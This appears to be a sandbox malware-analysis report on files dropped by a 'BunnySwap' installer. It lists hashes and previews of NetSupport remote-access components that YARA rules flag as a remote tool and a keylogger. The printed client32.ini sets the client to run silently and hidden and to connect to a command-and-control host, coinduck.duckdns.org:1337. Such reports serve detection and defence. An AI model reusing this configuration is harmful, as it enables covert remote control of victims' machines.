Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P............@......................... ...k....y..x.......@................$.......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\NSM.LIC (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	259
Entropy (8bit):	5.16961692159381
Encrypted:	false
SSDEEP:	6:O/oP6QAI4xRPjwxPUA1DKHMoEEjLgpW2MCrRH7KWYpPM/ioYa8l6i7s:XCQ+R7wxPUVJjjqW2MC9KBPM/iot8l6J
MD5:	AC5D5CC9ACAD4531EF1BD16145EA68BD
SHA1:	F9D92F79A934815B645591EBBD6F5D20AA6A3E38
SHA-256:	68C787616681427557343E42EDE5805DFBEEB580C59F69C4706B500F225E2C6B
SHA-512:	196863E039E9C83FB0F8EB3F0A6119DB31A624E7EF4E9BA99516702E76796957F0EBF87E8728E1BD0DE6CD7420BEC6E644CAA58A0724A7208E9A765D6EB78F64
Malicious:	false
Reputation:	unknown
Preview:	1200..0xde854b37....; NetSupport License File...; Generated on 13:46 - 30/06/2018........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=DONALDTRUMP..maxslaves=1500..os2=1..product=10..serial_no=NSM350561..shrink_wrap=0..transport=0..

C:\Users\user\AppData\Roaming\WindowsUserCerts\NSM.ini (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	Non-ISO extended-ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6458
Entropy (8bit):	4.645519507940197
Encrypted:	false
SSDEEP:	96:B6pfGAtXOdwpEKyhuSY92fihuUhENXh8o3IFhucOi49VLO9kNVnkOeafhuK7cwo4:BnwpwYFuy6/njroYbe3j1vlS
MD5:	88B1DAB8F4FD1AE879685995C90BD902
SHA1:	3D23FB4036DC17FA4BEE27E3E2A56FF49BEED59D
SHA-256:	60FE386112AD51F40A1EE9E1B15ECA802CED174D7055341C491DEE06780B3F92
SHA-512:	4EA2C20991189FE1D6D5C700603C038406303CCA594577DDCBC16AB9A7915CB4D4AA9E53093747DB164F068A7BA0F568424BC8CB7682F1A3FB17E4C9EC01F047
Malicious:	false
Reputation:	unknown
Preview:	..[General]..ClientParams=..CLIENT32=..Installdir=..NOARP=..SuppressAudio=......[Features]..Client=1..Configurator=..Control=..Gateway=..PINServer=..RemoteDeploy=..Scripting=..Student=..TechConsole=..Tutor=......[StartMenuIcons]..ClientIcon=..ConfigIcon=..ControlIcon=..RemoteDeployIcon=..ScriptingIcon=..TechConsoleIcon=..TutorIcon=......[DesktopIcons]..ControlDeskIcon=..TechConsoleDeskIcon=..TutorDeskIcon=............; This NSM.ini file can be used to customise the component selections when performing a silent installation of the product.....; Client=<1/Blank>..; e.g...; Client=1..; Controls whether the client component is installed (1) on the target machine or not (Blank)..;....; CLIENT32=<blank/not blank>..; e.g...;. CLIENT32=..;. Setting this to anything causes the Client Service (if installed) to be set to manual start rather than automatic..;....; ClientIcon=<1/Blank>..; e.g...; ClientIcon=1..; Controls whether shortcut icons are placed on t

C:\Users\user\AppData\Roaming\WindowsUserCerts\PCICHEK.DLL (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17424
Entropy (8bit):	6.072645835249466
Encrypted:	false
SSDEEP:	192:OogL7bo2t6n76RRHirmH0qh/laxttpYg2E4VtHith5VVgCVLWwsU7K6CYSa:OogL7bo2YrmGxLh4VtHith5kCCMK6jSa
MD5:	018B7364F4DE19D99C37665EB8555FC5
SHA1:	661D32B263131F27C890A3A17E3A7F58B0035F93
SHA-256:	FB68BF34AE44C30267E5034D65E7D917033631F8290A17DE264DE5189F1C9E71
SHA-512:	82EB86E58894D3BEED9F7EFEFDD9F8ECE4D4D1AF7D95E8751054EAC18FF8EB08E6BFDD0CCF132F666B2BDD47669FDC4B1FCF4C172A4CF3F25B0464E6943489F8
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Yu....i...i...i.......i..Z...i.......i......i......i..l....i...h.~.i......i......i......i.......i.Rich..i.................PE..L....A.W...........!......................... ...............................`......S.....@.........................@#..r...h!..P....@............... ...$...P......P ............................... ..@............ ..D............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\PCICL32.DLL (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3738640
Entropy (8bit):	6.5259550264690755
Encrypted:	false
SSDEEP:	49152:LKJKmPEYIPqxYdoF4OSvxmX3+m7OTqupa7HclSpTAyFMJS:LKJ/zIPq7F4fmXO8u6kS+yn
MD5:	21E49D937A929DB0FF9C265E8B2B6777
SHA1:	88000B29BB69B3E8A29F30F0274DE3E71A8B7EF7
SHA-256:	9B760F2AA4576D044BCD33E21943A8CBCCD9C56D17D598FA509213E05F9939C1
SHA-512:	165664B4D3B6AA2C481665A9AED572A7445CD32052066FAF7BF05340820D8AFC3CF4660A344D2A06E6F3BCABBFA7923EB61C39B7367735EDE0F5154F9696D1BF
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J.>N+.mN+.mN+.m.eAmL+.mU.Gmd+.m!]rmF+.mU.EmJ+.mGSZmA+.mGS]mO+.mGSJmi+.mN+.m.(.mU.rm.+.mU.sm.+.mU.BmO+.mU.CmO+.mU.DmO+.mRichN+.m........................PE..L......X...........!.....(...$ .............@................................9.....[n9.............................p................p................8..$...`7.p....Q.......................c......@c..@............@..(.......`....................text...l'.......(.................. ..`.rdata..s....@.......,..............@..@.data....%... ......................@....tls.........P......................@....hhshare.....`......................@....rsrc........p......................@..@.reloc...3...`7..4....6.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\TCCTL32.DLL (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	395280
Entropy (8bit):	6.798812382883384
Encrypted:	false
SSDEEP:	12288:1qArkLoM/5iec2yxvUh3ho2LDnOQQ1k3+h9APjbom/nF:8kuK2XOjksobom/nF
MD5:	4AE68042D513CBA160CDAAFE45D35582
SHA1:	9A07EBD26FAB57947B20647AC6CA0019475FFB44
SHA-256:	CC2B02AC7ED7656E4D26574367C571DFC44D3F167838F0EE868CDB8B493B3FF4
SHA-512:	B78F80697BA16C33BA9EDE2D2019CEB6173C8A2D335D6990B75613C1AF21669F25EA8F2D0E3C56AF08578D038CF3B66CA4E55CA252AD699A805598993A3D5BE8
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L....8.W...........!................'...............................................E.....@.............................o...D...x....0..@................$...@..\E..................................Pd..@...............h............................text............................... ..`.rdata..............................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc...F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\client32.ini (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	633
Entropy (8bit):	5.271884987286422
Encrypted:	false
SSDEEP:	12:zJBhzd+mPfGSzWVTXzPfY8zaKIDWss1CYublumDW3qoy:NBhzEmPfPo1zrIDvsPuhDW3qoy
MD5:	EB16DFF6B2FE07568D65C4621F30DE1C
SHA1:	A1DC780C832274553C0F742BA3E16EEF5F5FEE8D
SHA-256:	9DBE97259C0C5384D67B7D3DC7A8995660DBE69F8A7F56CCF99BBFED6D5BFB28
SHA-512:	2921479829D7F2533F4205941369D232531A52FCEB1EBD9291119A5024A85A15C6B246B44988E9371FDA6B721D3A751CB4425E7E7D36970E981D928EA07109A7
Malicious:	false
Reputation:	unknown
Preview:	0x15770172....[Client].._present=1..DisableChat=1..DisableChatMenu=1..DisableClientConnect=1..DisableDisconnect=1..DisableLocalInventory=1..DisableMessage=1..DisableReplayMenu=1..DisableRequestHelp=1..HideWhenIdle=1..Protocols=3..SecurityKey=FG;F@EEBHD;D>EAG..Shared=1..silent=1..SOS_Alt=0..SOS_LShift=0..SOS_RShift=0..SysTray=0..Usernames=..ValidAddresses.TCP=....[_Info]..Filename=C:\Users\Administrator\Desktop\client32.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[Bridge]..Modem=....[General]..BeepUsingSpeaker=0....[HTTP]..CMPI=60..GatewayAddress=coinduck.duckdns.org:1337..GSK=FG;F@EEBHD;D>EAG..Port=1337..

C:\Users\user\AppData\Roaming\WindowsUserCerts\is-1SHBJ.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	259
Entropy (8bit):	5.16961692159381
Encrypted:	false
SSDEEP:	6:O/oP6QAI4xRPjwxPUA1DKHMoEEjLgpW2MCrRH7KWYpPM/ioYa8l6i7s:XCQ+R7wxPUVJjjqW2MC9KBPM/iot8l6J
MD5:	AC5D5CC9ACAD4531EF1BD16145EA68BD
SHA1:	F9D92F79A934815B645591EBBD6F5D20AA6A3E38
SHA-256:	68C787616681427557343E42EDE5805DFBEEB580C59F69C4706B500F225E2C6B
SHA-512:	196863E039E9C83FB0F8EB3F0A6119DB31A624E7EF4E9BA99516702E76796957F0EBF87E8728E1BD0DE6CD7420BEC6E644CAA58A0724A7208E9A765D6EB78F64
Malicious:	false
Reputation:	unknown
Preview:	1200..0xde854b37....; NetSupport License File...; Generated on 13:46 - 30/06/2018........[[Enforce]]....[_License]..control_only=0..expiry=..inactive=0..licensee=DONALDTRUMP..maxslaves=1500..os2=1..product=10..serial_no=NSM350561..shrink_wrap=0..transport=0..

C:\Users\user\AppData\Roaming\WindowsUserCerts\is-2VCN9.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	Windows setup INFormation, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	328
Entropy (8bit):	4.93007757242403
Encrypted:	false
SSDEEP:	6:a0S880EeLL6sWqYFcf8KYFEAy1JoHBIr2M2OIAXFYJKRLIkg/LH2yi9vyifjBLWh:JShNvPG1JoHBx2XFhILH4Burn
MD5:	26E28C01461F7E65C402BDF09923D435
SHA1:	1D9B5CFCC30436112A7E31D5E4624F52E845C573
SHA-256:	D96856CD944A9F1587907CACEF974C0248B7F4210F1689C1E6BCAC5FED289368
SHA-512:	C30EC66FECB0A41E91A31804BE3A8B6047FC3789306ADC106C723B3E5B166127766670C7DA38D77D3694D99A8CDDB26BC266EE21DBA60A148CDF4D6EE10D27D7
Malicious:	false
Reputation:	unknown
Preview:	; nskbfltr.inf..;..; NS Keyboard Filter..; ..;..; This inf file installs the WDF Framework binaries....[Version]..Signature="$Windows NT$"..Provider=NSL......;..;--- nskbfltr Coinstaller installation ------..;......[nskbfltr.NT.Wdf]..KmdfService = nskbfltr, nskbfltr_wdfsect....[nskbfltr_wdfsect]..KmdfLibraryVersion = 1.5......

C:\Users\user\AppData\Roaming\WindowsUserCerts\is-30RK5.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73808
Entropy (8bit):	6.590203491308523
Encrypted:	false
SSDEEP:	1536:uf6fvDuNcAjJMBUHYBlXU1wT2JFqy9BQw+z2qzkWXi:o6f7cjJ4U4I1jFqy92T1gg
MD5:	8AD660F867C54740021E61F16B826813
SHA1:	26729B288218C341FDD3831D9557D87C3AED8C64
SHA-256:	52719D8FF086E4136C06C46F788A02A6E995EA25A2DD50EEAB129E4347284EE3
SHA-512:	88290218F38FC20820C5B6B05DB021F4160B19C8430BD97A4715B3BF1BB99106583A3CBC93C1E0414FFDAFFD88646CF3940F796196D9FB04CED6319F9BADBF44
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......$U..`4..`4..`4..{.D.q4..{.p.54..iLI.e4..`4..74..{.q.}4..{.@.a4..{.G.a4..Rich`4..................PE..L......U.....................J.......!............@.......................... .......C....@....................................<.......T...............HA..............................................@...............@............................text............................... ..`.rdata...%.......&..................@..@.data....-..........................@....rsrc...T...........................@..@.reloc..p...........................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\is-4P5R4.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17424
Entropy (8bit):	6.072645835249466
Encrypted:	false
SSDEEP:	192:OogL7bo2t6n76RRHirmH0qh/laxttpYg2E4VtHith5VVgCVLWwsU7K6CYSa:OogL7bo2YrmGxLh4VtHith5kCCMK6jSa
MD5:	018B7364F4DE19D99C37665EB8555FC5
SHA1:	661D32B263131F27C890A3A17E3A7F58B0035F93
SHA-256:	FB68BF34AE44C30267E5034D65E7D917033631F8290A17DE264DE5189F1C9E71
SHA-512:	82EB86E58894D3BEED9F7EFEFDD9F8ECE4D4D1AF7D95E8751054EAC18FF8EB08E6BFDD0CCF132F666B2BDD47669FDC4B1FCF4C172A4CF3F25B0464E6943489F8
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-4P5R4.tmp, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Yu....i...i...i.......i..Z...i.......i......i......i..l....i...h.~.i......i......i......i.......i.Rich..i.................PE..L....A.W...........!......................... ...............................`......S.....@.........................@#..r...h!..P....@............... ...$...P......P ............................... ..@............ ..D............................text............................... ..`.rdata....... ......................@..@.data........0......................@....rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\is-60MAI.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	326672
Entropy (8bit):	6.742281512000612
Encrypted:	false
SSDEEP:	6144:fib5YbsXPKXd6ppGpwpbGf30IVFpSzyaHx3/4aY5dUilQpAf84lH0JYBAnM1OKGq:fib5YbsXioEgULFpSzya9/lY5SilQCfT
MD5:	BF9DD864F5822DC28FFCE9529BAE15BA
SHA1:	EE578BA78DDAF0547EDD23355DBC658CDC1B86AB
SHA-256:	74328F7F2D08CFC734CC5151BC68377962D1E0A75137908925A604B3D18B7BE6
SHA-512:	EA00797C9E7117452E3A7F94DB016E22DAD0246C439DAAAE304ECFB5C5DE19D2DB0C63CE1EDD135A409F07BA75B19BD6428A7AB6D80A9DC65FF473FF985EF43E
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-60MAI.tmp, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ ...A...A...A.......A...9...A...A..gA....1..A....0.A.......A.......A.......A..Rich.A..........PE..L.....V...........!.................Z.......................................P............@......................... ...k....y..x.......@................$.......0..................................._..@............................................text............................... ..`.rdata..............................@..@.data....f.......(...v..............@....rsrc...@...........................@..@.reloc..b1.......2..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\is-8A4MH.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	395280
Entropy (8bit):	6.798812382883384
Encrypted:	false
SSDEEP:	12288:1qArkLoM/5iec2yxvUh3ho2LDnOQQ1k3+h9APjbom/nF:8kuK2XOjksobom/nF
MD5:	4AE68042D513CBA160CDAAFE45D35582
SHA1:	9A07EBD26FAB57947B20647AC6CA0019475FFB44
SHA-256:	CC2B02AC7ED7656E4D26574367C571DFC44D3F167838F0EE868CDB8B493B3FF4
SHA-512:	B78F80697BA16C33BA9EDE2D2019CEB6173C8A2D335D6990B75613C1AF21669F25EA8F2D0E3C56AF08578D038CF3B66CA4E55CA252AD699A805598993A3D5BE8
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-8A4MH.tmp, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z..z..z.....z.....z.....z..{.Y.z....K.z......z.....z......z.....z.Rich.z.........PE..L....8.W...........!................'...............................................E.....@.............................o...D...x....0..@................$...@..\E..................................Pd..@...............h............................text............................... ..`.rdata..............................@..@.data...h............\|..............@....rsrc...@....0......................@..@.reloc...F...@...H..................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\is-D0B6K.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31760
Entropy (8bit):	6.627298416859231
Encrypted:	false
SSDEEP:	768:sFvNhAyi5hHA448qZkSn+EgTL0FizKgu2:sCyoHA448qSSzgf0F+k2
MD5:	191BD0CC859E47AAA7C5195F58F56D4E
SHA1:	C2D91B7688AB3D4FBC08DC8DF895323CA2C47460
SHA-256:	3D30CAF999BBD1C39B681F4782C2F703C02B9956C4A77D7D531E20CA02FFAA29
SHA-512:	9C876AFDC1B3CAB2C01D1D369D6C532EDC4377876ED95F324E0E638860852D41052796A16F7314EF922BB7FF6EDB9F3687F6EDFB342B6524951906340C614B08
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-D0B6K.tmp, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+-..E~..E~..E~.\.~..E~.\.~..E~...~..E~..D~..E~.\.~..E~.\.~..E~.\.~..E~.\.~..E~...~..E~.\.~..E~Rich..E~........PE..L......U...........!.....2...........<.......P...............................`......or....@..........................^.......W..d....@..x............X...$...P......`Q...............................V..@............P..@............................text....1.......2.................. ..`.rdata.......P.......6..............@..@.data...,....`.......F..............@....rsrc...x....@.......H..............@..@.reloc.......P.......P..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\is-GPOHH.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	115792
Entropy (8bit):	5.027220112383088
Encrypted:	false
SSDEEP:	768:qvVZl6FhWr80/ggG1ItzkPKgcPzXUriXiRy:qr0hGIgxtz2qzkWXi
MD5:	5C25D0078A58280BE572BFE68F5FE73C
SHA1:	47F2BCC1E9405B863CCE67BCAC6A4A77EF957050
SHA-256:	0EC80B42EE511C5970C8810B9079DF07761E4C528E493EA6F73B36D2D3A61E32
SHA-512:	654F9101067A58210E9B6CFD1A57BFE4572B08FA8381BD1D1B454C971E8ACDF735DDF6333B94355A789FFD384FF41E5925AFF295315EE3A5058B207137E0329B
Malicious:	false
Yara Hits:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-GPOHH.tmp, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............i...i...i.......i..6....i...h...i..6...i..6..i..6....i.Rich..i.........................PE..L...T..U.....................n...... ........ ....@.......................................@.................................< ..<....0...i..............HA.......... ............................................... ...............................text............................... ..`.rdata..V.... ......................@..@.rsrc....i...0...j..................@..@.reloc..l............r..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\is-HITMC.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	46
Entropy (8bit):	4.532048032699691
Encrypted:	false
SSDEEP:	3:lsylULyJGI6csM:+ocyJGIPsM
MD5:	3BE27483FDCDBF9EBAE93234785235E3
SHA1:	360B61FE19CDC1AFB2B34D8C25D8B88A4C843A82
SHA-256:	4BFA4C00414660BA44BDDDE5216A7F28AECCAA9E2D42DF4BBFF66DB57C60522B
SHA-512:	EDBE8CF1CBC5FED80FEDF963ADE44E08052B19C064E8BCA66FA0FE1B332141FBE175B8B727F8F56978D1584BAAF27D331947C0B3593AAFF5632756199DC470E5
Malicious:	false
Reputation:	unknown
Preview:	[COMMON]..Storage_Enabled=0..Debug_Level=0....

C:\Users\user\AppData\Roaming\WindowsUserCerts\is-ITQN9.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	Non-ISO extended-ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	6458
Entropy (8bit):	4.645519507940197
Encrypted:	false
SSDEEP:	96:B6pfGAtXOdwpEKyhuSY92fihuUhENXh8o3IFhucOi49VLO9kNVnkOeafhuK7cwo4:BnwpwYFuy6/njroYbe3j1vlS
MD5:	88B1DAB8F4FD1AE879685995C90BD902
SHA1:	3D23FB4036DC17FA4BEE27E3E2A56FF49BEED59D
SHA-256:	60FE386112AD51F40A1EE9E1B15ECA802CED174D7055341C491DEE06780B3F92
SHA-512:	4EA2C20991189FE1D6D5C700603C038406303CCA594577DDCBC16AB9A7915CB4D4AA9E53093747DB164F068A7BA0F568424BC8CB7682F1A3FB17E4C9EC01F047
Malicious:	false
Reputation:	unknown
Preview:	..[General]..ClientParams=..CLIENT32=..Installdir=..NOARP=..SuppressAudio=......[Features]..Client=1..Configurator=..Control=..Gateway=..PINServer=..RemoteDeploy=..Scripting=..Student=..TechConsole=..Tutor=......[StartMenuIcons]..ClientIcon=..ConfigIcon=..ControlIcon=..RemoteDeployIcon=..ScriptingIcon=..TechConsoleIcon=..TutorIcon=......[DesktopIcons]..ControlDeskIcon=..TechConsoleDeskIcon=..TutorDeskIcon=............; This NSM.ini file can be used to customise the component selections when performing a silent installation of the product.....; Client=<1/Blank>..; e.g...; Client=1..; Controls whether the client component is installed (1) on the target machine or not (Blank)..;....; CLIENT32=<blank/not blank>..; e.g...;. CLIENT32=..;. Setting this to anything causes the Client Service (if installed) to be set to manual start rather than automatic..;....; ClientIcon=<1/Blank>..; e.g...; ClientIcon=1..; Controls whether shortcut icons are placed on t

C:\Users\user\AppData\Roaming\WindowsUserCerts\is-JD6HO.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3738640
Entropy (8bit):	6.5259550264690755
Encrypted:	false
SSDEEP:	49152:LKJKmPEYIPqxYdoF4OSvxmX3+m7OTqupa7HclSpTAyFMJS:LKJ/zIPq7F4fmXO8u6kS+yn
MD5:	21E49D937A929DB0FF9C265E8B2B6777
SHA1:	88000B29BB69B3E8A29F30F0274DE3E71A8B7EF7
SHA-256:	9B760F2AA4576D044BCD33E21943A8CBCCD9C56D17D598FA509213E05F9939C1
SHA-512:	165664B4D3B6AA2C481665A9AED572A7445CD32052066FAF7BF05340820D8AFC3CF4660A344D2A06E6F3BCABBFA7923EB61C39B7367735EDE0F5154F9696D1BF
Malicious:	false
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-JD6HO.tmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\user\AppData\Roaming\WindowsUserCerts\is-JD6HO.tmp, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J.>N+.mN+.mN+.m.eAmL+.mU.Gmd+.m!]rmF+.mU.EmJ+.mGSZmA+.mGS]mO+.mGSJmi+.mN+.m.(.mU.rm.+.mU.sm.+.mU.BmO+.mU.CmO+.mU.DmO+.mRichN+.m........................PE..L......X...........!.....(...$ .............@................................9.....[n9.............................p................p................8..$...`7.p....Q.......................c......@c..@............@..(.......`....................text...l'.......(.................. ..`.rdata..s....@.......,..............@..@.data....%... ......................@....tls.........P......................@....hhshare.....`......................@....rsrc........p......................@..@.reloc...3...`7..4....6.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\is-MCVH9.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	633
Entropy (8bit):	5.271884987286422
Encrypted:	false
SSDEEP:	12:zJBhzd+mPfGSzWVTXzPfY8zaKIDWss1CYublumDW3qoy:NBhzEmPfPo1zrIDvsPuhDW3qoy
MD5:	EB16DFF6B2FE07568D65C4621F30DE1C
SHA1:	A1DC780C832274553C0F742BA3E16EEF5F5FEE8D
SHA-256:	9DBE97259C0C5384D67B7D3DC7A8995660DBE69F8A7F56CCF99BBFED6D5BFB28
SHA-512:	2921479829D7F2533F4205941369D232531A52FCEB1EBD9291119A5024A85A15C6B246B44988E9371FDA6B721D3A751CB4425E7E7D36970E981D928EA07109A7
Malicious:	false
Reputation:	unknown
Preview:	0x15770172....[Client].._present=1..DisableChat=1..DisableChatMenu=1..DisableClientConnect=1..DisableDisconnect=1..DisableLocalInventory=1..DisableMessage=1..DisableReplayMenu=1..DisableRequestHelp=1..HideWhenIdle=1..Protocols=3..SecurityKey=FG;F@EEBHD;D>EAG..Shared=1..silent=1..SOS_Alt=0..SOS_LShift=0..SOS_RShift=0..SysTray=0..Usernames=..ValidAddresses.TCP=....[_Info]..Filename=C:\Users\Administrator\Desktop\client32.ini....[_License]..quiet=1....[Audio]..DisableAudioFilter=1....[Bridge]..Modem=....[General]..BeepUsingSpeaker=0....[HTTP]..CMPI=60..GatewayAddress=coinduck.duckdns.org:1337..GSK=FG;F@EEBHD;D>EAG..Port=1337..

C:\Users\user\AppData\Roaming\WindowsUserCerts\is-TUN2A.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	777232
Entropy (8bit):	6.905817006826448
Encrypted:	false
SSDEEP:	12288:BMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoey:SmCy3KxW3ixPEmxsvGrm8Z6r+JQPzVG
MD5:	7AA3E993FFEF3A554EBAB6532EAC4075
SHA1:	92B541293C63A4FB343327A1CC7708F96E7EEC74
SHA-256:	AAF5BD6CDF7EAE9D3ED153033917B3AED750D48AB11222569246DB162D94B72E
SHA-512:	97D91945D2F90594505CE67E2CE6F9BF4CFABE7EC5A0461AC5BF82C8BD1094308C99A02D4CC25276DC9701C8109AFE1F69726964F2E06DCE98F005F0E8F5EC49
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......:.y.~...~...~...w...}...~.......eD.....eD..+...eD..J...eD......eD......eD......eD......Rich~...................PE..L......M.........."!.........................0.....x................................a*....@..........................H......d...(........................$......$L...!..8...........................hE..@............................................text...!........................... ..`.data....Z...0...N..................@....rsrc................f..............@..@.reloc..$L.......N...j..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\WindowsUserCerts\msvcr100.dll (copy) Download File
Process:	C:\Users\user\AppData\Local\Temp\is-8CQHD.tmp\BunnySwap.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	777232
Entropy (8bit):	6.905817006826448
Encrypted:	false
SSDEEP:	12288:BMmCy3nAgPAxN9ueqix/HEmxsvGrif8ZSy+rdQw2QRAtd74/vmYK6H3BVoey:SmCy3KxW3ixPEmxsvGrm8Z6r+JQPzVG
MD5:	7AA3E993FFEF3A554EBAB6532EAC4075
SHA1:	92B541293C63A4FB343327A1CC7708F96E7EEC74
SHA-256:	AAF5BD6CDF7EAE9D3ED153033917B3AED750D48AB11222569246DB162D94B72E
